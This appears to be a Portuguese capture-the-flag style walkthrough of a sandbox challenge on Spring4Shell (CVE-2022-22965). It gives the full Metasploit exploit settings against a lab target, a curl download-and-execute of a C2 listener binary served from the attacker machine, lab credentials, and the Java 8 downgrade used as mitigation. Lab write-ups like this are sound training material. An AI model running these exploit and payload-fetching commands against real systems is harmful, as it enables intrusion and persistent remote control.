felisha-elmer/sandbox-challenge-spring4shell-cve-2022-22965-Passo a passo detalhado da exploração do CVE-2022-22965 (Spring4Shell) com Metasploit, implantação de um listener C2 e mitigação da vulnerabilidade fazendo downgrade para Java 8 em um servidor Tomcat.
Este passo-a-passo documenta a conclusão do Desafio Sandbox focado no CVE-2022-22965, comumente conhecido como Spring4Shell — uma vulnerabilidade crítica (CVSS 9.8/10) de execução remota de código que afeta versões específicas do framework Spring Java. O desafio aborda tanto as perspectivas ofensiva (equipe vermelha) quanto defensiva (equipe azul) da vulnerabilidade.
Nota: Comandos e caminhos de arquivos neste passo-a-passo refletem o ambiente específico utilizado durante esta tentativa. Seu ambiente pode ser diferente — ajuste caminhos, endereços IP e nomes de arquivos conforme necessário.
| Máquina | Endereço IP | Função |
|---|---|---|
| Security-Desk (Kali Linux) | 172.16.200.12 | Máquina de ataque e trabalho |
| Alvo Vermelho (Linux) | 172.16.100.90 | Alvo de exploração |
| Alvo Azul (Linux) | 172.16.100.100 | Alvo de endurecimento |
Credenciais: playerone / password123
Revisei a aba de Mapa de Rede no painel do desafio para confirmar o IP do Alvo Vermelho (172.16.100.90). Usei curl para inspecionar a aplicação web rodando na porta 80:
curl http://172.16.100.90
A saída revelou Apache Tomcat 9.0.59 com um redirecionamento para /dasmsp. Naveguei pelo código-fonte da página para identificar um endpoint de formulário POST em /dasmsp/contact.
msfconsole
use exploit/multi/http/spring_framework_rce_spring4shell
set RHOSTS 172.16.100.90
set LHOST 172.16.200.12
set RPORT 80
set TARGETURI /dasmsp/contact
set PAYLOAD_PATH webapps/ROOT
set HTTP_METHOD POST
set ForceExploit true
run
O exploit gerou com sucesso um shell JSP, modificou o carregador de classes, limpou o arquivo de log e abriu uma sessão de shell de comando no Alvo Vermelho.
Após a sessão abrir, digitei shell para atualizar para um shell interativo. O Metasploit localizou /usr/bin/script no alvo e o usou para abrir um shell interativo como o usuário tomcat.
O binário deploy_c2 estava localizado no Security-Desk, não no Alvo Vermelho. Hospedei-o via um servidor HTTP Python3 no Security-Desk:
cd /home/playerone/Desktop/Resources/
python3 -m http.server 8080
Baixei e executei a partir da sessão shell do Alvo Vermelho:
curl http://172.16.200.12:8080/deploy_c2 -o /tmp/deploy_c2
chmod +x /tmp/deploy_c2
/tmp/deploy_c2
Saída confirmou: Done! — Listener C2 implantado com sucesso no Alvo Vermelho.
Do terminal do Security-Desk:
Senha: password123
Os pacotes .deb do Java 8 estavam localizados no Security-Desk em /home/playerone/Desktop/Resources/. Transferi-os para o Alvo Azul usando SCP a partir de um terminal do Security-Desk:
scp /home/playerone/Desktop/Resources/*.deb [email protected]:/tmp/
Pacotes transferidos:
Na sessão SSH do Alvo Azul:
sudo dpkg -i /tmp/*.deb
Devido a um problema conhecido do desafio, a verificação não é registrada corretamente sem definir manualmente o Java 8 como padrão:
sudo update-alternatives --config java
Selecionei a opção 2 — /usr/lib/jvm/temurin-8-jdk-amd64/bin/java.
Inspecionei o arquivo de unidade do serviço Tomcat:
cat /etc/systemd/system/tomcat.service
Editei o arquivo para atualizar a variável de ambiente JAVA_HOME:
sudo nano /etc/systemd/system/tomcat.service
Alterei:
Environment="JAVA_HOME=/usr"
Para:
Environment="JAVA_HOME=/usr/lib/jvm/temurin-8-jdk-amd64"
sudo systemctl daemon-reload
sudo systemctl restart tomcat
A verificação de CVE-2022-22965 Mitigado no Alvo Azul ficou verde no painel do desafio.
spring_framework_rce_spring4shell)